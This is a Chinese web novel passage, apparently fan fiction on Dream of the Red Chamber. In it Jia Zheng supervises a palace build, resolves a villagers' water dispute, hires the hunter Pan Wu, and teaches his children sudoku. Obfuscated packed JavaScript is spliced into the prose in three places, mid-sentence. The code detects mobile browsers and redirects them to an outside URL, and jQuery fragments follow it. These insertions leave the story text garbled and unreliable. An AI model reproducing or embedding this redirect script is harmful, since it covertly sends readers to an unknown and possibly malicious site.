他们走了没几步路,迎面碰上了一个挑着三四只野鸡的大汉。那大汉是个猎户,他捉到的几只野鸡还活着,看来这人捕猎技艺高超。 “这位兄弟今日收成真不错。”贾政心情挺好,就想闲聊几句。 那猎户见贾政身着官服,也没有慌乱,只是拱手行了礼,说道“大人见笑了。只是家中尚有寡母体弱多病,只靠着我每日上山打些猎物,才能换点口粮度日。” 贾政见此人说话不卑不亢,言语中又很是孝顺母亲,对他更有几分好感,只是这么年轻力壮的汉子,何故只能靠打猎度日呢? “没有地种吗?”贾政问道。 那大汉叹口气,说“这两年附近的田地租子翻了一倍,年成也不好,哪能租得起呢?” “既然年成不好,何故租金也涨呢?”贾政听了立刻想到了自家田庄的事情,于是又问道。 “这我可不清楚了,只听说附近的田庄都是如此。一些村民无地可种,有的进城打零工,有的卖身去做奴才。只是我带着母亲既不方便外出做工,也无处可去。”那大汉虽然叹了口气,但脸上不见多少忧虑,倒很是乐观。 贾政也不好说什么安慰话,就说道“若是哪日遇到难处,可来贾府,不拘哪处给你安排个活计,让你能供养老母。”说罢对书文示意了一下。 书文马上说道“就找京城的荣国府的管家周瑞,他会给你安排的。” 那大汉听了很是惊讶,何曾想到荣国府的老爷对他不仅说话平和,还如此好心。于是忙忙俯身作了个揖,感动道“多谢大人,小人无以为报!” 贾政忙扶她,说道“不必多礼,只是感念你的孝心。” 身居高位的人,对穷苦人施舍一点东西就能让对方如此感激。贾政反思自己,今日做的几件事,是否件件都出自心中真实的善和对苦难的不忍呢? 看见苦难,苦难就不会有尽头。贾政察觉出这一点,深深叹息。 7. 披星戴月公事繁 与那猎户告别后,贾政与书文加快脚步,赶到太阳落山前又下了山。 刚走到工地,袁三保与几位管事就迎了上来。 “大人去山上怎么也不多带几个护卫呢。”袁三保担忧地说,他们几个看时间不早了,四处找贾政却又找不到,就担心起他的行踪来。 贾政是有意没有说他的去向的,他不想身边时刻跟着一大堆人,那样做事总是畏首畏尾。 于是也就说道“是我的疏忽,以后不会了。” “我们现在启程还能赶到城门关闭前回去,就走吧。”贾政向随他来的司里的管事说道。 “这里多烦袁管事辛苦了,明日我会再来的。”贾政对袁三保说。 袁三保恭敬应声。 他们返程时也是快马加鞭,堪堪赶在城门关闭之前进了城。 在城门口,那几位管事想邀贾政去吃酒,被拒绝了。 “已经和家人说好了一起吃晚饭,不好爽约。你们几个一起聚吧。”贾政今日早早答应了探春要回家吃晚饭。 “等大殿竣工后,我一定会宴请各位的,到时诸位一定都要来。”贾政又说。 那几人见贾政这样说,也就不再勉强。他们知道贾政身份,也存了讨好的想法,既然被拒,也不能强求。 说罢,贾政与小厮先走了。 正是晚饭时间,荣国府各院子,陆续摆上了晚饭,只有王夫人这边还很安静。 探春一早就在院门口等着贾政回来。只是等到了贾政往日当差的回家时间也没有等到,不免有些失落。这几日来,贾政对他格外关怀,探春也想时刻亲近父亲。 “在这里巴巴等什么呢?晚饭用过了吗?”赵姨娘见探春已在门口等了许久,还兀自站着张望,就出来问她。她是探春的亲生母亲,只是两人平时很生疏。 “姨娘。”探春表情略显尴尬,招呼罢就不知说些什么。她虽年纪小,但已经很懂得一些事情了。她知道赵姨娘是她的生母,王夫人是嫡母。她自小养在王夫人膝下,王夫人又对她很好。 只是,没人教过她要怎么对待赵姨娘。 “没什么,只是等老爷回来。”探春想了想,还是说了实话。 赵姨娘见探春表情生疏,她自己也泄了气。想摸摸探春的头,手抬了抬,终是没有继续。 此时,贾政走近了。 探春一见贾政,就兴奋地迎了上去,行了礼,说着“老爷回来了!” 贾政蹲下身,轻轻抱了探春,摸摸她头,“父亲答应过你,当然要做到了。” 一旁行礼的赵姨娘很是惊讶,什么时候探春与老爷如此亲近了呢?想到这里,又有些落寞,探春与老爷太太都亲近,只是与自己却··· 贾政见赵姨娘半蹲着行礼,开口免了她礼。 “晚饭用过了吗?”贾政温声问道。他前几日就见过赵姨娘,只是那时没想好怎么面对。 “还不曾。” 赵姨娘回道。贾政还没回来,因此院子里的大小主子们也都没有吃过。 “不如老爷去我那里···”赵姨娘试探着开口,想邀请贾政去她屋里用饭。赵姨娘颜色好,又年轻,以前贾政对她很是有几份宠爱的,常常吃住在她屋里,只是这几日却有些冷淡。 “今日与夫人有些事情要商议,就不过去了。时间也不早了,你快去用饭吧。”贾政好脾气地拒绝了。 赵姨娘闻言只好作罢。 这边贾政牵着探春的手进了屋。王夫人也在门口等,她见贾政进来,笑着迎上去说“老爷回来了。” 她亲自上前替贾政去了外衣,见贾政一身风尘,又吩咐丫鬟服侍他净脸。 贾政也觉得身上出了汗,骑了一天马,满是灰尘,很不舒服,索性把衣服都换了才出来吃饭。 王夫人见贾政脸红得异常,以为是被毒日头烤的,又很是担忧。虽贾政自己不觉得什么,但王夫人坚持要为他上药,贾政也不再拒绝。 王夫人神情认真,给贾政上药。贾政不经意从王夫人的专注眼神中看到了一种别样的忧虑关怀,这让贾政想到了她看贾珠的眼神。贾政感觉自己的脸庞痒痒的。 晚饭时,贾政问王夫人“珠儿今日身体可还好?” 王夫人放下筷子,回道“好一些了,今日还额外用了半碗饭,只是还不能下地。大夫说,再过三五日就可以每日起来走一走,一直躺着也不利于恢复。” 贾政点点头,给王夫人与探春各夹了一筷青笋,说道“这几日衙门事忙,等珠儿健壮些了,我找时间与他好好谈谈。一定劝他再不要执迷考学,身子养好才是关键。” 王夫人见贾政如此郑重地表明态度,也很是欣慰。长子已经成家,也有了后代,日后做个富贵闲人也没有什么不好的。只是想到这里,她又开始担忧起宝玉。 饭罢,贾政从袖袋里拿出一个草编的小花篮,这是在山上的时候他随手编的。 蒲草为骨,几片黄红的树叶装饰,内里还有两朵粉红的杜鹃花。探春一看到就挪不开眼睛,问道“老爷,这是从外面买的吗?” “探春喜欢吗?”贾政看到探春晶亮的眼神就知道她很喜欢。 “给你拿去玩,只是要对宝玉保密。”贾政笑着递给探春。 探春很是欢喜“明日我要拿去给二姐姐看,二姐姐手巧,她一看就可以做一个相似的出来。” “随你开心。”贾政越发感觉到探春的可爱了。聪慧懂事,心里总是想着兄弟姐妹与长辈。 晚间,贾政沐浴之后,又在书房开始画图纸。经过今日的实地考察,贾政对如何设计已经很有把握。等他把图纸完成时已过了三更天。书房里本来有守夜伺候他的丫鬟,早被他打发去休息了。 整理好图纸,贾政也没有再惊动别人,打算在书房睡一夜。 第二日,贾政早早就去了京郊的工地。 他一下马,袁三保就上前行礼了。 二人说话间走到了凉棚里。此时日头还不高,正是凉爽的时候。除了大殿的施工,袁三保又抽了一些人搭建凉棚。 昨日贾政说的清水和解暑汤也已经齐备,十位大夫也早已在旁边待命。另外,袁三保昨日连夜拟定了轮班制度,今日上工时也吩咐下去了。 贾政听罢,不吝赞赏,对袁三保连连夸赞。 “大人,这是我昨夜做好的图纸,这几张是水车的,这几张是蓄水池和冰窖的。管道铺设的今天也可以画好。”袁三保恭敬递上一沓图纸。 贾政接过之后细细看罢,很是惊讶。先不说袁三保昨天在他们走后,不仅拟定了轮班制度,又趁着天明,把这些需要绘测的地方一一完成。几样图纸都做得很详细,已经是可以直接施工的水准了。 贾政心里赞叹之余,看了一眼袁三保的面容。果然眼底一片青黑,昨夜肯定通宵达旦,这才能赶出这些图纸。这个袁三保不仅是精通营造之事,更是个很好的管理人才。 想到这里,贾政起了招贤揽才的心思。他拍拍袁三保的肩膀,郑重说道“袁管事才华横溢,勤恳务工,佛家说‘功不唐捐’,你只管认真做事,你的辛劳不会白费的。” 袁三保忙俯身作揖,“多谢大人赏识”,内心很是激动。昨日与营缮司的几位管事聊天时,他知道了贾政的身份,虽然贾政的官职并不高,但地位却显赫。若是有这位荣国府当家人的保举,他的仕途还是大有希望的。这也是他昨日通宵达旦,尽心尽力的原因,想给贾政留个好印象。 二人说话间,另几位管事也到了。贾政便让他们几个看过了袁三保的图纸。 几人看罢,均是夸赞,认为今日便可动工。贾政也许可了。 随后,贾政又拿出了自己昨夜绘制的图纸给他们几个看,说道“这是初稿,只能看个大概,待这几日我带人详细测绘之后方可施工,今日拿给你们看是让你们先了解一下。” 贾政经过研读,对当下的图纸测绘也有了更多的了解,画的图纸虽然样式新颖些,他们几个也能看懂。 那范远看罢,忍不住赞道“往日竟然不知道贾大人于绘图上如此精通。这图纸寥寥几笔却让人一看便懂,如此简明的图纸正适合在工地上广而传之。” 其余几人也是纷纷称赞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947706|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,更不必说。 一连十几日,贾政白日里都是待在工地上。几项图纸都一一完成实地测绘,开始施工。他也更加忙碌,不仅需要随时应对施工时的突发情况,还需要盯着风力装置的搭建。幸好袁三保和另几位管事都很能干。 在几人的通力合作下,各项工程都有条不紊地进行。 公事繁忙,通常他们赶不及城门闭前回城,索性就在城外住了。比起上一世来说,在工地上还有人伺候起居的日子简直太幸福了。 十几天中,贾政只有两天宿在家中。这就引得贾母与王夫人担心起来。 昨日,贾政好不容易抽了时间回家。只是早晨请安后,他又匆匆离开。 贾母忍不住问王夫人“二老爷这些日子披星戴月,也不宿在家中,可是衙门事忙吗?” 王夫人闻言回道“老爷只是说公事繁忙,再多的也没有说。只是每日他还会派人回来传话,说今日是否要回来,让我告诉老太太不要担心,并嘱咐我多在老太太处侍奉陪伴。” 贾母听了,也放心了下来,又问道“二老爷身边服侍的人有几个?可都乖巧?天热,可别中了暑。” “因为老爷近日宿在外面,就安排了六个下人轮换着伺候老爷的饮食起居。我从大夫那里要来解暑的丸药也让他们时刻备着呢,想来应该没有大碍。”王夫人回道。 贾母见王夫人安排的很是妥帖,满意地点点头,“还是你行事要精细些。” 王夫人从贾母那里离开后,就去了贾珠的院子。这几日,贾珠已经可以下床走路,精神也好了许多。 一进屋子,李纨就迎上来行了礼,说了贾珠近日的状况。 贾珠此时正半靠在床头,丫鬟端一碗红豆百合糯米粥,喂他喝着。见王夫人过来,贾珠欲起身行礼,被王夫人止下了。她坐在贾珠床边,接过丫鬟手上的碗。 “太太,让下人们来就好了,何须您辛苦呢?”贾珠身子已经好了许多,也不想劳苦母亲。 王夫人见贾珠坚持,也就放下了碗。想了一息,她说道“方才,你妹子从宫里来了信。” 贾珠与元春年龄相差不大,自幼二人也很是亲热。此时他听了忙问道“妹妹在宫里没受什么委屈吧?”话一出,他就意识到自己失言了。元春在宫里虽是女官,但说到底也不过是服侍皇家的,怎么可能不受委屈呢?他叹了口气,神色黯然。 “元春在信上说,工部营缮司负责建造含凉殿,这是圣上登基以来第一次兴修宫室,让你父亲务必重视。”王夫人顿了顿,又说“送信的人是自小服侍你妹妹的,她说你妹妹传话说圣上喜喜好简朴,厌恶奢华,让老爷切记切记。这个没有写在信里。” “那么含凉殿是由老爷负责督造的吗?”贾珠问道。 “你父亲没有与我说过,但元春既然特特派人传了话出来,想必她从哪里知道此事与你父亲有关。”王夫人回道。 “如此说来,这几日老爷回家了,太太就把事情说与老爷。”贾珠又道。 王夫人点了点头。她犹豫了一会儿,又说道“珠儿,你如今也成了家,有了兰儿。你自小聪慧,于读书上也有天分,你父亲因此对你很是期许。” 贾珠见王夫人提起此事,心内也有些低落。 “只是,凡事都有命数。你父亲前几日也与我说过了,他以后不会再逼你考学。母亲能看出来,你父亲说的都是真心话。你这几日总是闷闷不乐,母亲知道你的心结。现在你可以放下心来了吗?”王夫人说罢,期盼地看着贾珠。 “自从那日在鬼门关走了一遭,儿子也了悟了。只是万万不该让您和父亲还有老太太为我担心,实在不孝。”贾珠很是愧疚。 “元春入了宫,以后还不知如何,我日夜期望你和宝玉能好好的,我也就···”王夫人语气哽咽,说不下去了。 一旁的李纨见王夫人落泪,忙出言关怀,拿了帕子为婆母拭泪。 王夫人很快止住了眼泪,不愿在儿子媳妇前这般作态。平静下来后,她又说了几句话,随后离开了贾珠的院子。 她要去看看宝玉。 8. 柳暗花明揽贤才 贾政骑马快到含凉殿前,就看到蓄水池前聚了一群人,吵吵嚷嚷,不干正事。 待他走近,才发现那是正对峙的两拨人。 一群人多,还有守卫拿着刀枪,是自己这边的。而另一群人少,衣着破烂,拿着各种农具,可能是附近的村民。 他隐约猜到发生了什么。 此时,袁三保正劝说情绪激动的村民,让他们不要聚集在这里影响施工。同时他也阻止守卫们上前,不想让他们动手。 忽然,一人在他耳边说贾政来了。袁三保忙走出人群寻找贾政。 “大人,有刁民闹事,您不要走近,免得被误伤。”袁三保想劝贾政离开这是非之地。 “怎么回事?”贾政脚步未动,冷静问道。 “今早,我们正在这边忙碌,忽然这群人冲出来,说我们在这里施工,截断了水流,他们的村子彻底断了水源。他们一拥而上,就要把水坝推倒,幸亏我们阻拦及时,才没有误了大事。我劝了他们好久,他们仍不退下。”袁三保回道。 “你没有告诉他们这是皇家宫殿吗?”贾政问。 “我一早就说了,但他们不为所动。我又不想真的动起手来,打伤他们,说到底也不过是一些贫苦老百姓。”袁三保无奈叹道。 “这就奇怪了,既然知道这是皇家宫殿,普通百姓岂敢一直缠着不放?”贾政双眼微眯,思索着。 难不成背后有什么人撺掇他们,拿他们当挡箭牌? 想到这里,贾政决定亲自与这些人沟通。 他让守卫拨开人群,自己站到了中间。袁三保与书文忙近身跟着,怕贾政受伤。 “你们中可有领头的?”贾政大声问道。 有一高大汉子站了出来。竟然是那日贾政在山上遇到的猎户。 “大人,是我。”那猎户也认出了贾政,认为今日之事有了希望,这位贾大人应当好说话。 “你叫什么名字?” “小人潘武。” “潘武,你可知后方建造的是皇家宫殿?”贾政沉声说道。 潘武犹豫了一下,说道“方才袁大人告诉我时,才知道的。” “既然知道,何故纠缠不放?阻拦宫殿大事,罪当问斩,你们这群人有几个脑袋让你们掉的?”贾政严肃说道。 潘武听了,面色惊恐,勉强稳住心神,回道“大人有所不知,我们也是被逼无奈啊!” 贾政觉出此事另有隐情,又问“详细说来。” “昨日,不知从哪里传来的消息,说是我们村常吃的水被一个大户人家截断了。不知为何,村里外出的男丁都得知这消息,赶了回来,说要去找这大户人家讨个说法。 大人你也知道,村民本就因为土地涨租,对地主们有怨气,这次更是群情激愤。那传消息的人还说,若是我们能阻止下来,就让户户有地种,地租按半价算。并且给每个来此地的村民赏银五两。 我听了感觉有问题,什么人会好心半价让我们租地呢。但是我劝不下他们,又怕他们闹事被抓,只好跟过来。又因为素来有一把子力气,他们就推我领头。”潘武说的条理清晰,贾政也听得明白。 "既然知道这是皇家宫殿,你为何不劝他们退下呢?"贾政又问道。 潘武叹了口气,说“只因那传消息的人还说,若是拦不下去,自此以后,方圆二十里的村子都没有地种。” “村民本就过得艰苦,没地种,就没有了活路,哪还在乎今天死还是明天死呢?不如在这里搏一搏,兴许会有大人怜悯体恤也说不定。” 潘武说的话证实了贾政的猜想,的确有人在背后捣鬼。只是这人的目标是谁呢? 究竟是想阻止圣上的大事,还是要为难公事的负责人呢? 贾政一时想不通,只好暂时不去想。 他缓缓心神,在他心里是万万不能牺牲这些无辜百姓的。于是想到了另一个方法,重又开口“你们的诉求我知道了。一会儿我就命人把水坝推了,你们安心回去吧。” 众村民听了,欢呼雀跃,马上散了。 贾政疏散了工人们,让他们去推水坝,留下了潘武和袁三保。 袁三保满脸不赞同,也不好当面阻拦。 “水源的事情,我另有办法,袁管事莫忧。”贾政出言宽慰袁三保“这附近有地下水源,挖口井出来,蓄水池仍可以用,不会耽误很多时间的。之后我细细告诉你。”袁三保听了,也放下心来。一时心急,他忘了还可以打井。 此地两山夹沟,地下必有水源。虽然打井比起直接截取河流要费事些,但现在也只能这样了。 贾政见袁三保知晓了关键,就笑着让他去忙了。 袁三保走后,贾政与潘武离开工地,往山边没人的地方走去。 “潘武,你可知道你们今日被人陷害了?若是主事的官员不像我这么好说话,把你们这群人都砍了头怎么办呢?”贾政严肃说道。 潘武一脸后悔,“小人初时虽然也觉得不对,但不忍看着同村村民冒险。现在想想,的确惊险。多谢大人体恤百姓。”他躬身作揖,向贾政道谢。 “无需多礼”贾政扶起潘武“我看出来你不是个行事冲动的人,相反,你做事还是比较谨慎的,这很好。” “潘武,你想不想为我做事?”贾政问道。 “只要大人不嫌弃,小人当然愿意。”潘武很是惊喜。 “我需要你为我调查一些事情”见潘武听了有些犹豫,贾政又说“你放心,这些事情你能做到。贾府在京郊有一些田庄产业,你帮我调查这些田庄的田租,这几年来,涨了几次,有什么原因。” “我会把你安排到一处庄子里。我吩咐你的事,要在暗中进行,不可被旁人,尤其是田庄管事知道了。除了田租,还要打听这三年庄子的实际收成,银钱与物产都需要清楚。”贾政安顿道。这件事不难,贾政想先试试他的能力。 潘武慎重应了。 “另外,今日的事你回去多多留心,最好想办法弄清楚那个传信的人是谁,他背后又是谁主谋的。这件事我不强求,若能做到最好,做不到也无妨。”贾政对此事不抱希望,试试看就行。 “最重要的就是,保护好你自己,一切都要暗中进行。”贾政不想潘武因为替自己办事而出了意外。今日一事,他认为潘武其人既有善心,又有细心,做事也是比较牢靠的。 “小人记下了。”潘武回道 贾政把几步外的书文叫过来,对他道“回去同管家周瑞说,把潘武安排到京郊一处田庄里做事。对太太说,从私库支一百两给潘武,并安排两个丫鬟服侍他母亲。” 书文恭敬应了。 “潘武,我一向是赏罚分明的。我也相信你可以做好。”贾政拍拍他肩膀。 “一定不辜负大人栽培。”潘武双手抱拳,行的是江湖人的礼。 贾政今日收下潘武为他做事并不是临时起意。他早就想招揽一些得力帮手,只是荣国府那些下人,关系盘根错节,并不合适。书文是他贴身小厮,也不合适。最近遇到的人里面,袁三保是个人才,但他是官员,只有潘武可以一心为他做事。 只是他心里仍隐隐担忧着今日之事的幕后主使,也许对方的目标真的是自己,和荣国府。 贾政摇摇头,不再去想。敌在暗,他在明,若对方真的有心陷害,这次不成,还有下次,总会露出马脚的。 只是若要打井取水,工期也许会耽误,看来又要赶工了。 古人打井虽没有探测器,却有一些日久年深总结出的经验。一般来说,此地两山夹一沟,沟沿必有水流。这里已经发源出一条小河,那么地下水定然也是有的。 袁三保那边很快找来了几位工匠并一位有名的风水大师。在古代,看风水的大师业务广泛,不仅管死人的事情,还要为活人做事。找适合建房的土地,确定朝向,还有就是寻找水源,打井了。 贾政看这大师的确有些才干,他拿着自己的罗盘还有几根铜丝,和一些贾政看不懂的工具,认真勘探了两个时辰。找出了三个可能有地下水源的地方,用白色石灰确定位置。 一旁的钻井工人会意,立马准备工具开始钻水。 第二天一早,其中一处标记成功钻出了水。贾政很是佩服这位风水大师,这才叫术业有专攻呢,于是让袁三保重赏了大师。 钻出水源后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“我也是这么想的,等我换身衣服,咱们就一起去老太太那里吧。” 贾政他们到了贾母屋里时,已有许多下人在旁静候了。 另有贾赦邢夫人,王熙凤李纨,还有迎春姐妹等人。荣国府这边的人基本来齐了,只有贾琏离京办事,贾珠卧床,不能来。 “可巧,大老爷来老太太这里用晚饭,二老爷也回来了,今日真是凑得齐全。”王熙凤笑道。 “等过几日大爷好起来了,也能日日来陪着老太太,尽些孝心。”李纨这几日难得展颜,此时也与王熙凤一起凑趣。 众人也都说笑着,一时间,气氛很是融洽。 贾母见家中大小都有孝心陪她吃饭,高兴地连用了几杯绍兴酒。 “老太太今日高兴,只是要少喝些,下个月,还有更高兴的事儿呢!”王熙凤走到贾母跟前,轻拿下了酒杯。 贾母自然知道王熙凤说的什么,笑的更加开怀“你这凤丫头一张贫嘴倒是厉害,不知道操办起事务来厉不厉害?”王熙凤年初才管的家,还没有主过什么大事。 “那有什么?有哪里不懂的,有大太太和二太太在旁边看着,定不会教我出丑的。”王熙凤分别看了邢王二位夫人一眼,又是爽朗一笑。 “你这凤丫头快别贫嘴。前日我与她一处时,她还说呢,今年是老太太七十岁的整生日,一定要大办一次,让亲戚朋友们好好热闹热闹,也让老太太高兴高兴。”王夫人笑着说罢,瞥了一眼王熙凤,示意她稍微收敛些,今日两位老爷都在,不好太放肆。 贾母的生辰在八月初三,今年正是七十寿诞,的确应该大办的。 “琏儿媳妇,有什么不懂的多问问你太太。咱们这样人家,千万不可在大事上丢了面子。”贾赦出言叮嘱了王熙凤一句,王熙凤听了忙应声。 “我也没有经办过这类大事,怕是指点不了什么,多问问二太太才是应当的。”邢夫人笑道。她这话的确有一半是实情。王夫人和王熙凤听罢都笑了笑,并没有什么反应。贾政也听出了其中暗含的两分酸意,只是面上不显。 陆续间,下人们已把晚饭摆好了。没人再关注邢夫人的话,众人开始用饭。 9. 一家欢笑灯烛下 “二老爷近日事忙,实在辛苦些,可有中暑呢?”贾母问贾政道。 “多谢老太太关怀,新接的案子是在京郊工地上,又因为路远来不及回城,就常宿在外面。虽然天热,但是夫人日日为我送来驱暑的丸药与羹汤,派来的下人们也很细致,因此在外面是半点苦头都没有的,更没有中暑了。”贾政起身笑着回答了贾母,说罢又坐下。 贾母点点头,“你太太的确细致,珠儿这几日恢复的也很好,想必你太太和珠儿媳妇也都辛苦了。” 王夫人与李纨都笑着说是份内的事。 今日晚饭分了三桌,贾母与女眷们坐在大桌,贾政与贾赦一桌,几个孩子一桌。 贾政本来想与兄长贾赦商议一下贾母的寿辰可否不要大操大办,但刚才听了贾赦叮嘱王熙凤的话,他立刻歇了这个心思。想在母亲的七十寿辰在节俭文章,几乎不可能。 他看着贾赦的神情与服饰,就知道他是个耽于酒色,喜爱享受的。 连袭了爵位的长子都是如此作风,贾家还能出来什么力挽狂澜的后人吗? 饭罢,众人各自散了,只是王夫人与贾母说,宝玉很久都没有见过父亲,今日正好贾政回来了,不如让宝玉去她院子里睡,也好与父亲说说话,亲近亲近。贾母也允了。 贾政几个离开贾母的院子,去贾珠屋里走了一趟,又是一番关怀劝慰,更不必说。 夏日天长,待他们回到自己院子时,天刚擦黑。 屋里,宝玉和探春坐在炕桌前一起解九连环,王夫人在一旁陪着他们。 贾政在书房转了一圈,觉得自己好不容易回来一趟,还是不要忙公事了,应当陪陪孩子。于是拿了本闲书,又去了王夫人屋里。 宝玉本来玩得好好的,见贾政进来后也坐在了桌前,他就有些拘谨,浑身都不太自然,手中的九连环也放下了。 “怎么不玩了?”贾政笑着自己拿了九连环把玩。两个孩子已经解开了两个,在第三个难住了。 探春说“二哥哥许是玩累了吧,不如咱们来编花篮怎么样?” 正说话间,贾政已解开了第三环,吸引了宝玉的注意力。 贾政见宝玉看向他手里的九连环,就往前挪了一下,坐在了探春和宝玉中间,拿着九连环说“九连环是个讲究耐心的游戏,有时也需要反向思考···” 这边贾政给宝玉探春讲着解九连环的技巧,王夫人看着两个孩子听的很是专注,轻声吩咐丫鬟准备了几盘点心端了上来。 贾政讲完,有些口干,把九连环给了宝玉探春让他们去实践了。 他喝了一杯茶水,歇了会儿。 王夫人满眼慈爱地看着玩得起劲的宝玉探春,还给他们各喂了一块糕点。 宝玉仍有些不得其法,解不开就给了探春。他耍赖般将半个身子埋进王夫人怀里,小声哼着。王夫人紧紧抱着宝玉,喜欢地满脸满身的抚摸儿子。 不一会儿,探春解开了一环,惊呼出声。这反而激起了宝玉的好胜心,忙坐好后拿过九连环又开始解。王夫人也就把探春揽到怀里,摸着她头。母女二日均是兴致盎然地看着宝玉如临大敌般解九连环。 两个孩子都聪慧,再加上贾政的不时点拨,一会儿就把九个环都解开了。贾政见宝玉探春都是意犹未尽的神情,难得一起玩得开心。于是他又在脑中想着有什么游戏适合他俩玩。 “我教你们一个新游戏,保管你们好几天也玩不腻。”贾政神秘地说。 “老爷快快说来吧!别卖关子了!”宝玉见贾政说得有趣,却没了下文,急忙催促道。毕竟父子天性,此时与贾政亲近了一会儿,宝玉已经全然忘了以往那个严肃的贾政。 探春也很有兴趣,摇着贾政手臂说“老爷快说吧,我和二哥哥都等不及了。” 贾政见孩子们成功被勾起了兴趣,就叫过来自己的书童,在他耳边叮嘱了几句。 不一会儿,书童过来了,呈上来两张纸,画着九横九竖的线条,组成八十一个小格子。 贾政拿过纸张,指着格子对宝玉探春说“这个游戏叫做数独。一会儿我会在这些格子中随便填一到九的数字。你们要做的就是把剩下的格子填满。” “那有什么好玩的呢,不过是填数而已。”宝玉失望道。 “二哥哥别着急,老爷还没说完呢。”探春拉住宝玉右臂,安慰道。 “你还没有听我的要求呢,这八十一个格子按照顺序分为九宫,三三为一宫。共有九行九列。要求是你们填的数字,在每一行每一列每一宫,都只能是一至九,不可缺一,也不可重复。听懂了吗?” 两个孩子毕竟还小,听到这里都有似懂非懂,贾政就拿一张纸给他们演示。 “比如我在这个格子填了三,那么这个数字所在的这一行,这一列,这一宫都不能再有三。”贾政见宝玉探春都点了点头,于是决定先出好题,再与他们讲解。 王夫人没有打扰正投入的他们,她时刻关注着桌边的烛火。不时拿起剪子剪去多余的烛芯,屋里也就一直很是亮堂,他们写字也看得清楚。灯光摇曳下,她看着父子三人其乐融融,有些入神了。 很快,贾政就在九宫格中填了一些数字,让宝玉探春试着填字。见两个孩子第一次玩,仍是不得章法,就细细讲了排除法和唯一法的技巧。 如此下来,又是小半个时辰过去了,三人的齐心协力下,完成了一多半的格子。 本该到了睡觉的时间,两个孩子还都兴致满满,毫无困意。贾政不想小孩子熬夜,就抽出纸张,答应明天再给他们玩,让他们的奶娘抱走睡觉了。 “孩子们可真是有精力,玩这一会儿,我都有些累了。”坐的时间长了,贾政起身走了走,双手还揉了揉腰。 “要不让丫鬟给老爷揉一揉,可以松快些。”王夫人见贾政体乏,就想叫丫鬟来服侍贾政。 “那倒不必”贾政接过王夫人给他倒的茶,抿了一口“只是年纪大了,经不住久坐。” “老爷平日里也要注意些,要好好保养身子。”王夫人边说边起身,在贾政肩颈两侧为他轻揉了一会儿。 在王夫人轻柔的揉捏下,贾政不仅觉得肩颈放松许多,连日来心中的些许紧张和忧虑也都荡然无存了。他似乎越来越喜欢王夫人这样体贴入微的照顾。 “夫人辛苦了,我果然觉得好些了,不那么僵硬了。夫人早些安寝。我明日不用去当值,一会儿再看几页书也就睡了。”贾政轻按下欲起身送他出门的王夫人。 次日清晨,在贾母处请安,用罢早饭后,宝玉就跟在贾政身后想要昨晚没有填完的纸张。贾政就带着宝玉探春还有迎春一起回了院子。 “这个宝玉,怎么今日偏与他老子这么亲近?”贾母也乐意见到宝玉亲近父亲,很是满意地笑着。 “还不是昨晚,老爷给宝玉和探春说了个填数游戏,两个孩子玩了一晚上,今早一洗漱完,就要找老爷再去玩那游戏。”王夫人也笑着把昨晚的事情说了出来。 “宝玉平日里见了二老爷的确有些畏惧,如今这样确实好。儿子天性总是更亲父亲,女儿嘛,就亲近母亲一些。”王熙凤说道。 几人又在贾母处谈笑了一会儿,就各自离开了。 出门后,王夫人叫了王熙凤去她院子商议贾母寿诞的事情。 她们刚到院门口,就听到宝玉的声音“我知道了,这里要填五,不能填七!” “这个孩子,真是入迷了。”王夫人笑着摇摇头,与王熙凤进了平时议事的屋子。 “转眼已到了六月中旬,老太太的寿诞你操办的怎么样了?” 二人一坐定,王夫人便问王熙凤。边说,边捧了杯凉茶,抿了一点。 “回太太,今年是老太太的整生日,我问了大老爷大太太,都说最好是要大办。昨日我与珍大哥商议过,寿宴两府都摆。我想着是从七月二十八日至八月初五日,总共八日。” 王夫人点点头,“之前老太太六旬诞辰也是设宴八日,这次也是应当的。” 王熙凤见王夫人也赞同,就继续说道“东府单请官客,咱们府单请堂客。二十八日至三十日这三天宴请外面的公侯长官等。初一初二初三分别是老爷们的家宴,初四是族里的家宴,初五日就留给家里管事的下人热闹。” “各处应该请哪些人你有单子了吗?”王夫人又问道。 “先前已问大老爷与珍大哥要了名单,其他的名单老太太吩咐我来找太太拿就行。”王熙凤如实说道。 王夫人今日叫了王熙凤来商议也是要把名单给她的,就吩咐了一个小丫鬟去取。 一会儿丫鬟拿来几本名单,放在小托盘中,呈给了王熙凤,王熙凤的丫鬟平儿帮着收下了。 “这些单子上的人都是以往府上摆宴常请过的,或有些新增的需要请的,锦屏都知道,你有拿不准的地方,派人来叫了她去就可以了。”锦屏是王夫人身边的得力丫鬟,做事也很妥帖。 锦屏闻言走出来向王熙凤行了礼。 “太太跟前的人,定是调教得极好,也要让平儿多和她学学。”王熙凤笑说道。 “谁不知道你的丫头都是七窍玲珑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947708|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心的,锦屏也就在我这里还看得过眼了。”王夫人素来喜欢侄女王熙凤的性子,不然也不会促成贾王两家的第二桩联姻。 二人正笑说着,贾政掀帘进来了。 “老爷”“二老爷”王夫人与王熙凤均是起身行了礼。 